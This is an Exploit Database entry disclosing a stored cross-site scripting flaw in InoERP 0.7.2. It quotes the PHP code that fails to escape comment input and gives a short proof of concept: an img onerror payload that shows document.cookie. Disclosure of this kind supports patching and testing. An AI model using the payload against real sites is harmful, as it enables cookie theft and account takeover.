



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

InoERP 0.7.2 - Persistent Cross-Site Scripting

EDB-ID:

47428

CVE:

N/A

EDB Verified: ✘

Author:

[STRIDER](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2019-09-27

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: InoERP 0.7.2 - Persistent Cross-Site Scripting
# Google Dork: None
# Date: 2019-09-14
# Exploit Author: strider
# Vendor: http://inoideas.org/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None
```

=====
[Description]=====

There is a security flaw on the comment section, which allows to make persistent xss without any authentication.

An attacker could use this flaw to gain cookies to get into a account of registered users.

=====
[Vulnerability]=====

extensions/comment/post_comment.php in the server part
`$$extension = new $extension;`

```
foreach ($field_array as $key => $value) {
    if (!empty($_POST[$value])) {
        $$extension->$value = trim(mysql_prep($_POST[$value])); <-- escaping
for htmlentities
    } else {
        $$extension->$value = "";
    }
}
```

includes/functions/functions.inc in the server part

```
function mysql_prep($value) {
    return $value; <-- just returns the value
}
```

=====[Proof of Concept]=====

Step 1:

`http://your-server-ip/content.php?mode=9&content_type=forum&category_id=7`

Step 2:

open a new question and submit it.

Step 3:

then paste this PoC-Code below into the comment field and submit that

```
<img src=# onerror="alert(document.cookie);">
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.